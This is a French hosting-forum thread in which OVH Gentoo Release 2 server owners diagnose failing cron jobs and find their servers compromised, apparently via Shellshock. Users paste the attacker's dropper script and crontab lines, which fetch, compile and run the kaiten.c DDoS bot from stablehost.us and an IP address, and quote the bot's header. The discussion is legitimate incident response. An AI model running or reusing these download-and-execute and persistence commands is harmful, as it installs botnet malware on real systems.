J'ai vérifié mes logs et j'ai bien une ligne où mes 2 crons sont supprimés mais je ne sais pas comment savoir qui se cache derrière cette suppression.

J'ai consulté les autres logs et rien ne me semble suspect.

Garden
22/10/2014, 00h36
Voici les autres fichiers avec ces droit bizarres sur mon serveur, lié au hack et donc corrompus?

s---ia-------- /etc/runlevels/default/webmin
s---ia-------- /etc/init.d/webmin
s---ia-------- /usr/sbin/lsof
s---ia-------- /usr/libexec/ssh-keysign
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /var/lib/init.d/softscripts/webmin
s---ia-------- /var/lib/init.d/started/webmin

cassiopee
22/10/2014, 00h36
Voilà ce que ça donne dans une Release 2 / 2.35 non piratée :

Code:
# lsattr /usr/bin/crontab

-------------- /usr/bin/crontab

Possibilité de retablir juste ces fichier ou risque d'infection globale?
Cf ce que je disais plus haut : selon que l'on est déjà en 2.35 ou pas.

S'il y a un appel à un script inconnu dans le cron, c'est que le serveur a été piraté,
le mieux est de réinstaller (ou d'installer dans une nouvelle machine, cf supra)

Si c'est "juste" des fichiers crons qui ont disparu, c'est quand même très très louche.

Une inspection approfondie du serveur s'impose : qu'y a-t'il en RAM ? (commande "ps aux"),
Qu'y a-t'il dans le répertoire "/tmp" (via la commande "ls -al /tmp") ?
La commande "netstat -tanpu" n'indique-t'elle pas des connexions étranges ?
Epluchage de tous les fichiers de logs à la recherche d'anomalies, etc.

Sachant que si le serveur a été piraté, on ne peut normalement plus se fier à aucune
commande du système (toutes les commandes citées ci-dessus peuvent avoir été
détournées afin de masquer les traces du pirate présent dans la machine).

Garden
22/10/2014, 00h24
nsXXXXX ~ # lsattr /usr/bin/crontab
s---ia-------- /usr/bin/crontab
nsXXXXX ~ # chattr -R -i -a -s /usr/bin/crontab
nsXXXXX ~ # lsattr /var/spool/cron/crontabs/root
s---ia-------- /var/spool/cron/crontabs/root
nsXXXXX ~ # chattr -R -i -a -s /var/spool/cron/crontabs/root
Possibilité de retablir juste ces fichier ou risque d'infection globale?

cassiopee
22/10/2014, 00h17
Citation Envoyé par seifou
Justement, je n'ai pas reçu de mail "anti-hack" de la part d'ovh, mais par contre les taches crons ont disparu donc je ne comprends pas trop là
Je pense plutôt que ce n'est pas OVH qui est intervenu dans ton serveur mais un piratage à moitié réussi
(ou à moitié raté, question de point de vue )

Si ta machine avait été détectée comme piratée par OVH, ils l'auraient mis en mode Rescue.

seifou
22/10/2014, 00h12
Justement, je n'ai pas reçu de mail "anti-hack" de la part d'ovh, mais par contre les taches crons ont disparu donc je ne comprends pas trop là

- - - Updated - - -

nono67, tu as reçu un mail d'ovh t'informant du hack de ton serveur ?

cassiopee
22/10/2014, 00h04
Citation Envoyé par seifou
En fait, après réflexion, je me demande si OVH ne supprime pas les crons uniquement si ils ont détecté un hack.
Si c'est le cas, comment vérifier si la machine a bien été hacké si ovh a supprimé les traces dans le crontabs ?
Si OVH a détecté un piratage, c'est bien que la machine a été piratée ?
Les faux positifs à ce niveau doivent être quasi nuls.

Après, si le serveur n'a pas été redémarré depuis, il est possible que le programme pirate soit toujours
en cours d'exécution en RAM, auquel cas des commandes telles que "ps aux", "netstat -tanpu" pourraient le mettre en évidence.

A la base, je pensais qu'ovh avait supprimer toutes les taches crons des R2 sans distinction mais après vérification, c'est pas le cas
ça aurait été particulièrement violent

seifou
21/10/2014, 23h58
En fait, après réflexion, je me demande si OVH ne supprime pas les crons uniquement si ils ont détecté un hack.
Si c'est le cas, comment vérifier si la machine a bien été hacké si ovh a supprimé les traces dans le crontabs ?

A la base, je pensais qu'ovh avait supprimé toutes les taches crons des R2 sans distinction mais après vérification, c'est pas le cas

cassiopee
21/10/2014, 23h52
Citation Envoyé par nono67
Merci cassiopee

la version de ma release est 2.32
Voilà, c'est la confirmation, enfin disons que c'est très probable que ce soit l'origine du problème.

Est-ce que le serveur est facile à gérer sous Debian + Virtualmin ?
Facile ou difficile, c'est assez subjectif. Comme tout nouveau système, au début
on galère un peu pour retrouver ses marques mais ensuite ça se passe bien en général.

C'est comme une paire de chaussures neuves : au début on se demande pourquoi
on les acheté tellement elles font mal et puis au bout de quelques temps, on ne
sent plus la différence

Est-ce que les mises à jour sont moins problématiques que sur Gentoo R2 ?
Oui mais elles sont surtout plus fréquentes

Est-ce qu'il ne faut pas mieux prendre un noveau serveur sous Debian + Virtualmin (par exemple) et
migrer petit à petit mes sites sur ce nouveau serveur (plutot que de ré-installer mon serveur hacké) ?
Disons que c'est plus facile ainsi (et accessoirement ou non, cela permet d'avoir du matériel
plus performant, moins cher, etc. puisqu'on renouvelle le serveur dédié).

Après le côté "petit à petit", c'est tout relatif, vu que le serveur est actuellement piraté,
pour certains en mode Rescue, il ne faut donc pas trop trainer quand même.

Mais oui, c'est globalement sûrement plus confortable de le faire ainsi plutôt
que de réinstaller dans la même machine, au risque d'avoir oublié un fichier
important lors de la sauvegarde de l'ancien système.

- - - Mise à jour - - -

Citation Envoyé par seifou
Si on passe une 2.33 R2 en 2.35, ça permet de relancer les crons ?

Sachant que le serveur n'a pas été hacké mais qu'ovh à simplement supprimer tous les crons à coup de Hache
Je trouve ça un peu curieux l'idée qu'OVH ait ainsi modifié les tâches crons mais si c'est le cas, normalement
les rétablir (droits Unix, noms des fichiers ,etc.) devrait suffire.

Passer de la 2.3x à la 2.35 ne devrait pas avoir d'impact sur cet aspect (ni régler le problème de cron, ni l'aggraver)

- - - Mise à jour - - -

Raahh c'est pénible ce comportement du forum qui consiste à "coller" deux messages (ou +) successifs totalement distincts
dans un unique message ...

- - - Mise à jour - - -

Citation Envoyé par nono67
Si le site http://stablehost.us supprime le répertoire bots/kaiten.c
ça semble plus ou moins être déjà le cas.

le hackeur ne peu plus rien faire, c'est son point de relais, tous nos serveurs hackés pointent vers cette url http://stablehost.us/bots/kaiten.c pour télécharger cette merde, oui ou non ?
Disons plutôt que c'était son point de départ mais une fois le script téléchargé, la suite se passe dans ton dédié.

Le programme qui s'y exécute peut aller chercher des instructions n'importe où, pas seulement chez http://stablehost.us

seifou
21/10/2014, 23h42
Si on passe une 2.33 R2 en 2.35, ça permet de relancer les crons ?

Sachant que le serveur n'a pas été hacké mais qu'ovh à simplement supprimer tous les crons à coup de Hache

nono67
21/10/2014, 23h39
Merci cassiopee

la version de ma release est 2.32

Est-ce que le serveur est facile à gérer sous Debian + Virtualmin ? Est-ce que les mises à jour sont moins problématiques que sur Gentoo R2 ?

Est-ce qu'il ne faut pas mieux prendre un noveau serveur sous Debian + Virtualmin (par exemple) et migrer petit à petit mes sites sur ce nouveau serveur (plutot que de ré-installer mon serveur hacké) ?

Si le site http://stablehost.us supprime le répertoire bots/kaiten.c le hackeur ne peu plus rien faire, c'est son point de relais, tous nos serveurs hackés pointent vers cette url http://stablehost.us/bots/kaiten.c pour télécharger cette merde, oui ou non ?

cassiopee
21/10/2014, 23h38
Voilà le début du contenu du fichier "http://stablehost.us/bots/kaiten.c" :

Code:
/*******************************************************************************
 *   This is a IRC based distributed denial of service client.  It connects to *
 * the server specified below and accepts commands via the channel specified.  *
 * The syntax is:                                                              *
 *       !                                                      *
 * You send this message to the channel that is defined later in this code.    *
 * Where  is the nickname of the client (which can include wildcards)    *
 * and the command is the command that should be sent.  For example, if you    *
 * want to tell all the clients with the nickname starting with N, to send you *
 * the help message, you type in the channel:                                  *
 *       !N* HELP                                                              *
 * That will send you a list of all the commands.  You can also specify an     *
 * astrick alone to make all client do a specific command:                     *
 *       !* SH uname -a                                                        *
 * There are a number of commands that can be sent to the client:              *
 *       TSUNAMI         = A PUSH+ACK flooder                    *
 *       PAN       = A SYN flooder                         *
 *       UDP       = An UDP flooder                        *
 *       UNKNOWN         = Another non-spoof udp flooder         *

[...]
Autrement dit, c'est un script qui sert à monter des attaques de type DDoS
envers des serveurs cibles. Le pirate dispose d'un assez grand nombre de serveurs dédiés
piratés et les utilise comme relais/amplificateurs pour mener ses attaques.

cassiopee
21/10/2014, 23h33
Citation Envoyé par kgb203
Merci pour l'info, Cassiopee (j'en profite pour te remercier doublement : tes interventions sur ce forum m'ont par le passé déjà bien aidé !).
Tant mieux tant mieux

C'est bien, en ce qui me concerne, un problème de version de la Release.
J'aurais dû me tenir un peu plus au courant de l'actu, et rester un peu plus vigilant quant aux MAJ de la release 2...

Pour info, le contenu de " regular.bot ", qui, entre autres choses, remplace le contenu de la crontab :
Oui, c'est un script qui va télécharger un fichier source en C, le compiler,
lancer l'exécution du binaire compilé puis effacer le source C téléchargé,
de façon à ce qu'il n'y ait aucune trace sur le disque dur, seul le script
en exécution dans la RAM.

Enfin, il ajoute au crontab une exécution hebdomadaire, sans doute une mise à jour
du script.

kgb203
21/10/2014, 23h27
Citation Envoyé par cassiopee
Si la machine n'a pas été mis à jour, il est possible/probable que ce soit le "ShellShock"
(la faille récente dans Bash) il aurait fallu passer la Release en version 2.35
(cf un "cat /etc/ovhrelease").

Si la Release est bien en version 2.35, alors ça peut venir d'un site web, d'un CMS pas à jour,
d'un plugin/addon/themes/templates pas à jour, etc.
Merci pour l'info, Cassiopee (j'en profite pour te remercier doublement : tes interventions sur ce forum m'ont par le passé déjà bien aidé !).

C'est bien, en ce qui me concerne, un problème de version de la Release.
J'aurais dû me tenir un peu plus au courant de l'actu, et rester un peu plus vigilant quant aux MAJ de la release 2...

Pour info, le contenu de " regular.bot ", qui, entre autres choses, remplace le contenu de la crontab :

Code:
#!/bin/sh

wget http://stablehost.us/bots/kaiten.c -O /tmp/a.c;
gcc -O /tmp/a /tmp/a.c;
/tmp/a &;
rm -rf /tmp/a.c;

wget http://stablehost.us/bots/a -O /tmp/a;
/tmp/a &;

echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh" >/tmp/c;
crontab /tmp/c;
rm /tmp/c;

cassiopee
21/10/2014, 23h14
Citation Envoyé par nono67
qu'est-ce qu'il faut taper pour connaitre la version de ma release ?
Via la commande :
Code:
cat /etc/ovhrelease
qui va répondre quelque chose comme "2.3x".

Si je fais la mise à jour de ma release maintenant est-ce que ça va réparer les fichiers corrompus par le hacker ?
Non, c'est malheureusement trop tard. Un pirate qui a compromis un serveur au point de créer des entrées cron
veut dire réinstallation complète du serveur.

Que faire maintenant suite à un hack du serveur ?
1) sauvegarder toutes les données utiles (sites web, bases de données, messagerie, etc.)

2) réinstaller le serveur dédié avec un nouvel OS. Ici je dirais plutôt Debian + Virtualmin plutôt
que Release 3 qui risque de présenter les mêmes problèmes que la Release 2 (non mise à jour, etc.)
d'ici quelques temps.

3) remettre en place les données sauvegardées au point 1, avec très certainement des adaptations
plus ou moins importantes.

nono67
21/10/2014, 23h09
qu'est-ce qu'il faut taper pour connaitre la version de ma release ?

Si je fais la mise à jour de ma release maintenant est-ce que ça va réparer les fichiers corrompus par le hacker ?

Que faire maintenant suite à un hack du serveur ?

cassiopee
21/10/2014, 23h06
Citation Envoyé par nono67
Quelqu'un peut il regarder les droits du fichier crontab dans usr/bin/ sur une release 2 dont les taches cron fonctionnent et m'indiquer quels sont les droits pour l'Usager et le Groupe ?

J'ai pour le fichier crontab ;


Ce 103 me semble bizarre, qu'avez-vous comme droits ?
Code:
-rwxr-s--x 1 root 103 33160 d▒c 11  2007 crontab
donc c'est bien le groupe 103, qui n'est pas référencé dans le fichier "/etc/groups",
d'où l'utilisation du GID (= 103) à la place du nom.

- - - Mise à jour - - -

Citation Envoyé par kgb203
Je n'ai pas trouvé la faille exploitée, en revanche...
Si la machine n'a pas été mis à jour, il est possible/probable que ce soit le "ShellShock"
(la faille récente dans Bash) il aurait fallu passer la Release en version 2.35
(cf un "cat /etc/ovhrelease").

Si la Release est bien en version 2.35, alors ça peut venir d'un site web, d'un CMS pas à jour,
d'un plugin/addon/themes/templates pas à jour, etc.

Un_passant
21/10/2014, 22h38
C'était dans /usr/bin/crontab ou /var/spool/cron/crontabs, je ne sais plus trop...
Par contre moi il a disparu et je l'ai rajouté facilement, c'était il y a au moins 2/3 semaines.

J'ai fais les 2 maj de sécurité assez rapidement et je n'ai pas de ligne bizarre dans le fichier qui à les droits de root.

Edit: je voulais répondre à ce message : http://forum.ovh.com/showthread.php?...l=1#post622167

kgb203
21/10/2014, 22h28
Bonsoir à tous,

Je confirme le hack : mêmes symptômes chez moi, et un source kaiten.c téléchargé et compilé depuis stablehost.us

La crontab avait été modifiée, et contenait une unique ligne d'instructions :
"@weekly curl -o /tmp/sh http://212.56.218.110/bots/regular.bot;wget http://212.56.218.110/bots/regular.bot -O /tmp/sh;sh /tmp/sh"

Je n'ai pas trouvé la faille exploitée, en revanche...

bbr18
21/10/2014, 22h26
au niveau architecture r2 et r3 sont semblables, on trouve les mêmes choses aux mêmes endroits, par contre il faut d'abord installer les domaines avec ovhm de la r3 en mettant le même nom pour l'user avant de remettre les données, par contre ce ne sera pas la même version de mysql donc réinjecter par les dumps et non en copie directe des fichiers
et un conseil visitez le lien de ma signature pour corriger les bugs de la R3, mettre webmin à jour, ajouter des modules, etc. car la R3 est quasi vide à ce niveau.

et sur R3 c'est Postfix et non qmail, et Centos au lieu de Gentoo

- - - Mise à jour - - -

nono67, ton serveur a été hacké, il est compromis, tu dois sauvegarder puis réinstaller, le cron en question c'est un truc mis par le hackeur

nono67
21/10/2014, 22h20
Citation Envoyé par bbr18
sinon /etc/crontab c'est root:root il a quels droits cet user 103 ?
usr/bin/crontab a aucun droit 0000

J'ai essayé de changer les droits en root pour ce fichier crontab mais un message s'affiche : impossible de changer de propriétaire

J'ai recherché les fichiers et ou répetoires sur mon serveur possédé par le groupe 103 et il m'a sorti :

/usr/bin/crontab
/var/spool/cron/crontabs
/var/spool/cron/crontabs/root
Il m'est impossible de changer les droits pour :

/usr/bin/crontab
/var/spool/cron/crontabs/root

Dans /var/spool/cron/crontabs/root j'ai :

@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm /tmp/sh >/dev/null 2>&1
C'est quoi ce http://stablehost.us/bots/regular.bot ?

johnny57
21/10/2014, 22h14
Citation Envoyé par bbr18
donc la thèse du hack se confirme, aviez-vous patché la faille shellshock ? il y a de fortes chances que les serveurs impactés ne l'aient pas fait, ce qui vous reste à faire c'est sauvegardes puis réinstall
sinon /etc/crontab c'est root:root il a quels droits cet user 103 ?
Et c'est là que ça devient compliqué. Il faut savoir monter les disques, puis savoir si un copier/coller de /home de la release 2 ensuite sur une release 3 permettra de relancer les sites sans soucis ou si il faut s'attendre à des problèmes encore.

bbr18
21/10/2014, 22h07
donc la thèse du hack se confirme, aviez-vous patché la faille shellshock ? il y a de fortes chances que les serveurs impactés ne l'aient pas fait, ce qui vous reste à faire c'est sauvegardes puis réinstall
sinon /etc/crontab c'est root:root il a quels droits cet user 103 ?

buddy
21/10/2014, 21h39
Citation Envoyé par pauline76
Idem pour nous, visiblement OVH a désactivé nos tâches CRON sans nous prévenir en raison d'une faille grave de sa release 2 et sans solution...

Nous avons retrouvé nos tâches CRON désactivées et complètement vidées avec juste un WGET vers un site Américain (.US)...
.

je pense plutôt que le serveur a été hacké ... pourquoi OVH mettre un wget vers un site US ?? quel intêret ??

pour "flinguer" une R2 il y a plus simple que désactiver les tâches cron ...

nono67
21/10/2014, 21h17
Quelqu'un peut il regarder les droits du fichier crontab dans usr/bin/ sur une release 2 dont les taches cron fonctionnent et m'indiquer quels sont les droits pour l'Usager et le Groupe ?

J'ai pour le fichier crontab ;
Usager: root
Groupe: 103
Ce 103 me semble bizarre, qu'avez-vous comme droits ?

bbr18
21/10/2014, 21h10
ovh ne coupe pas les crons sur un dédié !
aviez-vous patché lors de la faille sur bash ?
tous vos problèmes font plus penser à un hack qu'autre chose.

pauline76
21/10/2014, 21h07
Visiblement OVH a été débordé le 19 octobre par un problème "inantendu".... et a décidé de désactiver les tâches CRON sur tous ses serveurs sans prévenir les clients.
En cas d'urgence, cela peut se comprendre mais trois jours après, aucune communication (ni solution) de leur part, c'est troublant...

johnny57
21/10/2014, 21h07
chez moi, jusqu'à hier, ça fonctionnait le support.

nono67
21/10/2014, 20h51
Est-ce que pour vous le support ticket OVH fonctionne ? Lorsque je veux poursuivre les échanges sur mon ticket support j'ai une page OVH qui me dit en gros caractères :
Something went wrong. Oupps..

seems that something went wrong. Please try to refresh this page one more time.

etc....
Ils se sont fait hacker leur service support technique ou quoi ?

johnny57
21/10/2014, 20h48
J'ai le même problème que vous on dirait. Par contre je suis incapable de sauvegarder en rescue pour restaurer ensuite. Quelqu'un aurait des infos à donner pour savoir comment s'y prendre ? J'ai ouvert un billet ici mais je n'obtiens pas de réponse...

Merci d'avance.

pauline76
21/10/2014, 20h00
Idem pour nous, visiblement OVH a désactivé nos tâches CRON sans nous prévenir en raison d'une faille grave de sa release 2 et sans solution...

Nous avons retrouvé nos tâches CRON désactivées et complètement vidées avec juste un WGET vers un site Américain (.US)...

Bonjour la sécurité et le recpect du client chez OVH ...

Juste quelques heures de boulot cette nuit pour rattraper tout ça...

Merci OVH.

bbr18
21/10/2014, 18h53
- Sauvegardez votre contenu en mode Rescue et réinstallez (Release 2 à éviter, évidemment)
la r2 n'est plus proposée de toutes façons

morganinuk
21/10/2014, 18h45
Bonjour,

Je me permets d'intervenir pour vous informer que je me trouvais dans une situation similaire.

A savoir :
- tâches cron inoppérantes depuis dimanche.
- Impossibilité de changer les droits (cela entraine un crash).
- Redémarrage forcé en mode RESCUE.
- Réception d'un mail "Anti Hack" de la part d'OVH.

Après des recherches et avoir contacté le support OVH, il se trouve que :
- Depuis début octobre, les serveurs Gentoo Release 2 ont tous été vulnérables à la faille "Shellshock".
- Le patch implémenté par OVH est arrivé trop tard pour bon nombre d'entre nous, nous avons donc été hackés.

La solution :
- Sauvegardez votre contenu en mode Rescue et réinstallez (Release 2 à éviter, évidemment).

bon courage.

JeanBaptisteB
21/10/2014, 18h32
Ca y est, problème résolu chez moi également.
Dans /home/log/cron.log, j'avais le message suivant : (*system*) BAD FILE MODE (/etc/crontab)
L'erreur provenait du fait que le fichier /etc/crontab avait des droits en 644 au lieu de 600.
Je pense que j'ai fait cette mauvaise manip en restaurant des fichiers backupés.
C'est bête comme problème, mais je préfère le préciser au cas où ça serve à quelqu'un d'autre.

Ensuite, je ne sais pas si cela à servi à résoudre mon problème, mais au cas où je précise aussi mes manips sur le service de crons:
Citation Envoyé par bbr18
essaie comme ceci :
Code:
/etc/init.d/vixie-cron zap
/etc/init.d/vixie-cron start
zap fonctionne bien, mais start ne fonctionnait pas.

J'ai donc utilisé kill pid
Citation Envoyé par seifou
J'avais le même problème que toi avec vixie. J'ai du tuer le process /usr/sbin/cron avec kill pid où pid est obtenu avec : ps aux | grep cron
ensuite : /etc/init.d/vixie-cron start et c'est ok pour moi.
Tu peux tester ?
Et là start à fonctionné.

Donc, je vous confirme que chez moi également, la solution de déplacer toutes les taches dans /etc/crontab fonctionne.
Peu importe que la commande soit
Code:
* 16 * * * user curl http://www.site.com/script.php
ou
Code:
* 17 * * * user /usr/local/php5/bin/php /repertoire/script.php
et ca fonctionne en exécutant la commande en tant que root ou en tant qu'utilisateur.

Merci à tous pour votre aide et bon courage à ceux qui sont obligés de migrer vers la release 3 dans l'urgence.
Pour ma part, la migration vers la release 3 va s'imposer, mais cette solution temporaire permettra de gérer la migration sereinement et pas dans l'urgence...

whynote
21/10/2014, 18h32
Bonjour à tous, même problème sur ma release 2. SSH inaccessible et Cron qui ne se lancent plus depuis le 19.
Après redémarrage du serveur ce matin, SSH fonctionne à nouveau. Déplacement des Cron dans /etc/crontab et tout a l'air de fonctionner normalement.
Bon courage à tous.

nono67
21/10/2014, 18h02
Citation Envoyé par lte
Elles s'ajoutes même dans webmin, tu peux les modifier après et elles marchent.
J'ai ajouté mes taches cron dans le fichier /etc/crontab mais lorsque je fais un crontab -l j'ai ce message : -bash: /usr/bin/crontab: Permission non accordée

Mes taches cron n'apparaissent pas non plus dans Webmin.

Je pige rien

raijis
21/10/2014, 17h38
Citation Envoyé par Operceval
ovh kimsufi syoustart ont retiré la release 2 des réinstallations. attendez vous à devoir migrer au plus vite pour vous : / vous aurez toujours des problèmes sinon

RIP release 2
Oui effectivement.. Je pars sur une debian 7 terminé pour moi les release qui au finale pose plus de problème qu'autre chose...
Je comptais gagner du temps, j'en suis bien revenu

Bon courage à tous pour ceux qui compte migrer.

Operceval
21/10/2014, 17h28
ovh kimsufi syoustart ont retiré la release 2 des réinstallations. attendez vous à devoir migrer au plus vite pour vous : / vous aurez toujours des problèmes sinon

RIP release 2

lte
21/10/2014, 17h03
Ceux qui ont réussi à re-faire marcher leur tache cron sur une Gentoo R2, peuvent-il poster ici ce qu'il faut faire ? D'avance merci.
Ouvre le fichier /etc/crontab et met tes taches cron dedans en mettant bien l'utilisateur qui doit les executer (cf : http://forum.ovh.com/showthread.php?...l=1#post622147 )
Moi ça à marché !
Elles s'ajoutes même dans webmin, tu peux les modifier après et elles marchent.

nono67
21/10/2014, 16h52
Citation Envoyé par pp.logipro
Cron qui ne marchent plus
SSH qui ne marche plus
Mysql qui ne marche plus

et ça depuis fin septembre et Octobre sur plusieurs serveurs sous Gentoo 2 OVH (bien sur nous sommes en train de migrer mais ça prend du temps)
Qui à ces symptômes ?
Moi aussi j'ai les mêmes problèmes avec en plus Webmin et le port 80 qui ne marchent plus de temps en temps.

Ceux qui ont réussi à re-faire marcher leur tache cron sur une Gentoo R2, peuvent-il poster ici ce qu'il faut faire ? D'avance merci.

Operceval
21/10/2014, 16h43
Citation Envoyé par bbr18
plutôt que chercher un vieil os avec une vieille version de php, il serait plus pertinent d'adapter tes scripts pour qu'ils fonctonnent avec la dernière version de php, enfin ce n'est que mon avis.

oui c est ce que j ai décidé finalement : /

pp.logipro
21/10/2014, 16h41
Bonjour à tous,

C'est étrange comme problème ...
J'ai exactement les même problèmes que vous :

Cron qui ne marchent plus
SSH qui ne marche plus
Mysql qui ne marche plus

et ça depuis fin septembre et Octobre sur plusieurs serveurs sous Gentoo 2 OVH (bien sur nous sommes en train de migrer mais ça prend du temps)

J'ai penser à la faille de bash et pour laquelle ovh à fait un patch.

Qui à ces symptômes ?

Je vais aussi demandé à OVH des informations, mais ils peuvent aussi en donner ici (Merci de votre retour les administrateurs du forum )

A bientot

seifou
21/10/2014, 16h39
J'ai déplacé les crons dans /etc/crontab et ils sont à nouveaux executés.

C'est pas la place idéal, mais ça permet de patienter en attendant mieux.

Baptiste :
J'avais le même problème que toi avec vixie. J'ai du tuer le process /usr/sbin/cron avec kill pid où pid est obtenu avec : ps aux | grep cron

ensuite : /etc/init.d/vixie-cron start et c'est ok pour moi.

Tu peux tester ?

bbr18
21/10/2014, 16h23
essaie comme ceci :
Code:
/etc/init.d/vixie-cron zap
/etc/init.d/vixie-cron start

JeanBaptisteB
21/10/2014, 15h26
Citation Envoyé par bbr18
ORPHAN (no passwd entry)
un utilisateur de ce nom que tu ne connais pas lance des crons sans password ?si c'est la cas, ça craint
Aucun utilisateur de ce nom sur ma machine...
Il m'a semblé lire sur des sites que c'était une histoire de fichiers portant un nom qui n'est pas celui d'un utilisateur dans /var/spool/cron/crontabs/
Ce qui n'est pas le cas chez moi, chaque fichier dans ce répertoire porte le nom d'un de mes utilisateurs.




Citation Envoyé par seifou
Il démarre chez toi le service vixie-cron JeanbaptisteB ? ou bien il te met [!!] ?
Voici exactement ce qu'il me met:
nsXXXXXX ~ # /etc/init.d/vixie-cron stop
* Stopping vixie-cron ... [ !! ]
nsXXXXXX ~ # /etc/init.d/vixie-cron start
* WARNING: "vixie-cron" has already been started.

Ca voudrait dire qu'il n'arrive pas à l'arrêter?



Citation Envoyé par lte
JeanbaptisteB : Essaie de remettre le chemin normal mais lis ce post, je ne sais pas si tu l'as vu, c'était p'tètre juste un soucis avec le chemin de php à la base
http://forum.ovh.com/showthread.php?...l=1#post622224
Sinon là, je vois pas du tout ce que tu peux faire de plus, je ne suis pas assez expérimenté pour ça :s
A la base 90% de mes taches cron sont configurées avec
/usr/local/php5/bin/php /home/repertoire/script.php
Ca marche pas non plus...

Ca sent de plus en plus la migration vers la release 3. A mon grand regret...

lte
21/10/2014, 15h09
JeanbaptisteB : Essaie de remettre le chemin normal mais lis ce post, je ne sais pas si tu l'as vu, c'était p'tètre juste un soucis avec le chemin de php à la base
http://forum.ovh.com/showthread.php?...l=1#post622224

Sinon là, je vois pas du tout ce que tu peux faire de plus, je ne suis pas assez expérimenté pour ça :s

Que faire, faut-il passer en release 3 ? Qui est en release 3 ?
J'ai bien l'impression que dans l'idéal oui, c'est ce qu'il faudrait faire.
Perso, j'ai pas spécialement le temps de faire ça donc j'ai fais des backup et ça tiendra le temps que ça tiendra !
Ce qui m'inquiète le plus, c'est de sauvegarder/restaurer les mails de mon domaine.. quelqu'un à déjà fait ça ?

bbr18
21/10/2014, 15h04
ORPHAN (no passwd entry)
un utilisateur de ce nom que tu ne connais pas lance des crons sans password ?si c'est la cas, ça craint

à la question qui est en R3 ? peu de monde donc côté aide il y en aura tout autant

nono67
21/10/2014, 14h57
Réponse d'OVH :
sachez que vous pouvez tout-à-fait utiliser la release 3 qui techniquement n'est plus en bêta car proposé depuis plusieurs semaines, mais nous restons cependant à l'écoute des remontées sur son utilisation.

Au niveau de la mise à jour de release 2, celle-ci ne sera pas possible si le serveur a été hacké en root, ce qui est probablement le cas au vu des failles connues sur la release 2.

Etant donné que nous ne réalisons plus de diagnostiques anti-hack hors VIP, je ne peux pas le vérifier.
Que faire, faut-il passer en release 3 ? Qui est en release 3 ?

seifou
21/10/2014, 14h55
Il démarre chez toi le service vixie-cron JeanbaptisteB ? ou bien il te met [!!] ?

JeanBaptisteB
21/10/2014, 14h52
Merci pour tes conseils.
On avance, mais ça marche toujours pas...
Réponses point par point:

Citation Envoyé par lte
Fait par élimination :
1/ Dans ton script : met un truc tout con, par exemple, l'envoi d'un email et un echo "blablabla"
C'est déjà le cas, ce qui doit s'afficher s'affiche bien uniquement lors d'un déclenchement manuel via webmin (idem pour le mail)


Citation Envoyé par lte
2/ Dans ta ligne, ajoute une sortie dans un fichier txt sur ton serveur (avec les droits en 777 dessus)
Exemple à rajouter à la fin de ta ligne : > /home/repertoire/www/crontab.txt
3/ Regarde si tu reçois un mail et regarde aussi ce que tu as dans le fichier txt.. t'aura p'tètre une erreur dedans et ça te permettra d'avancer
Le mail, c'est juste pour avoir une notif' quand il passe dedans..
J'ai ajouté ça à la fin de la commande: /logs/crons.txt 2> /logs/erreurs.txt
crons.txt est bien valorisé par la sortie du script (toujours uniquement lors d'un déclenchement manuel)
et dans erreurs.txt, il y a
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 22 0 22 0 0 77 0 --:--:-- --:--:-- --:--:-- 77
0 22 0 22 0 0 77 0 --:--:-- --:--:-- --:--:-- 0



Citation Envoyé par lte
Autre piste, regarde dans les logs si t'as un truc foireux..
Dans une console SSH : tail /home/log/cron.log
ça t'affichera les dernières lignes des logs
Voici le contenu de cron.log. Ces 3 lignes ne s'ajoutent que lors d'un déclenchement manuel:
Oct 21 14:30:01 nsXXXXXX /usr/sbin/cron[7431]: (*system*) BAD FILE MODE (/etc/crontab)
Oct 21 14:30:01 nsXXXXXX /usr/sbin/cron[7431]: (lastrun) ORPHAN (no passwd entry)
Oct 21 14:30:01 nsXXXXXX /usr/sbin/cron[7431]: (crontabs) ORPHAN (no passwd entry)
Pour le BAD FILE MODE, j'ai lu sur plusieurs sites que cela survenait quand le fichier en question n'était pas en 644. Or chez moi il l'est...
Pour ORPHAN, je vois pas trop ce que ça peut être...



Citation Envoyé par lte
Essaie peut-être avec un autre utilisateur que root (je ne sais pas pourquoi mais je ne vois rien d'autre pour le moment)..
Déjà testé, même résultat. Fonctionne en déclenchement manuel, pas en automatique.

Je ne sais pas si c'est utile ou pas, mais après chaque modif, je redémarre (enfin, c'est ce que j'essaie de faire...) le service de crons :
/etc/init.d/vixie-cron stop
/etc/init.d/vixie-cron start

Là, je sèche...

seifou
21/10/2014, 14h48
Citation Envoyé par Operceval
bonjour,

les realease 2 sont corrompus ( trop de failles de sécurité SSH. si vous avez un probleme avec le crontab. c est que un hakeur a déjà fait des dégats . ( j ai eu ovh au tel ce matin ) il refuse de relancer sur la relase 2 et demande a passer sur la 3.

bref reset et probleme pour moi car j avais besoin de php 5.2 ..... la merde quoi . il me faut un OS avec 5.2 php
Tu entends quoi par 'il refuse de relancer sur la release2' ?

bbr18
21/10/2014, 14h09
sur la R2 je mettais les crons comme ceci (localisation de php pas comme je vois au dessus)
Code:
crontab -e
16 5 * * * /usr/local/bin/php  /home/user/www/mon_script.php

nono67
21/10/2014, 14h02
J'ai le même problème que vous, plus aucun cron.

Je suis sous Gentoo R2.

OVH veux que je mette à jour ma release 2 (trop de failles de sécurité d'apèrs eux) mais ça fonctionne pas via Webmin. Ma version Webmin est 1.560

Pour infos, la release 3 est en Bêta : http://www.ovh.com/fr/serveurs_dedie.../release_3.xml

Depuis quelques jours avec mon serveur c'est la cata : ce matin j'ai reçu 25 SMS m'indiquant des problème avec ICMP, le port 80 avec une FAILURE (connection impossible), plus d'accès en SSH ni via Webmin. Je dois rebooter mon serveur une fois par jour, j'en pleu plus, le matin en allumant le téléphone ça stress dure !!!

Pour couronner le tout, le système de ticket du support d'OVH ne marche plus !!!!

Que faire ?

lte
21/10/2014, 14h02
Citation Envoyé par JeanBaptisteB
Bon, pour ma part, ça sent pas bon du tout...
Même avec curl, il ne veut rien savoir.
Voici ma ligne de test dans /etc/crontab, je la partage avec vous en cas d'erreur de syntaxe que je ne verrais pas.
* 13 * * * root curl http://www.mondomaine.com/monscript.com
Quand je déclenche "manuellement" depuis la gestion des crons du webmin, tout fonctionne, mais en automatique, rien du tout...
A votre bon coeur m'sieurs dames!
Fait par élimination :
